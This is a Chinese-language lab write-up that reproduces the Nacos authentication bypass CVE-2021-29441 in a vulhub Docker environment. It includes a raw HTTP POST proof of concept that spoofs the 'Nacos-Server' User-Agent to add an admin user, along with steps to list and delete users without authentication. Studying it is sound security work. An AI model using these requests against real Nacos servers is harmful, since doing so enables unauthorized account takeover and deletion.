1 漏洞原理
Alibaba Nacos是阿里巴巴的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
该漏洞是Nacos在进行认证授权操作时,会先判断user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以未授权获取到用户名密码,添加用户,并且删除用户等敏感信息。威胁程度较高。
2 环境搭建
cd /vulhub-master/nacos/CVE-2021-29441
docker-compose up -d
3 漏洞复现
1.1外网查看用户账号信息
访问http://ip:端口号/nacos/v1/auth/users/?pageNo=1&pageSize=10
1.2添加任意用户
访问http://ip:端口号/nacos/v1/auth/users,抓取数据包,将GET请求在burpsuite中改成POST请求,将User-Agent改为Nacos-Server 添加表单username=用户名&password=用户密码。
添加成功!
poc如下:
POST /nacos/v1/auth/users HTTP/1.1
Host: your-IP:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=admin
这里添加admin用户,发送数据包,响应包返回200,说明添加用户成功。
尝试使用刚才创建的账号进行登录!
登陆成功!
1.2删除任意用户!
先通过访问http://ip:端口号/nacos/v1/auth/users/?pageNo=1&pageSize=10
来查看当前有哪些用户!
尝试删除用户test。
访问http://ip:端口号/nacos/v1/auth/users?username=用户名,抓取数据包,将GET请求改成DELETE请求,将User-Agent改为Nacos-Server。
登陆验证test用户是否删除了!访问http://your-ip:8848/nacos/#/login test 123456
成功删除了该用户!
漏洞复现完毕!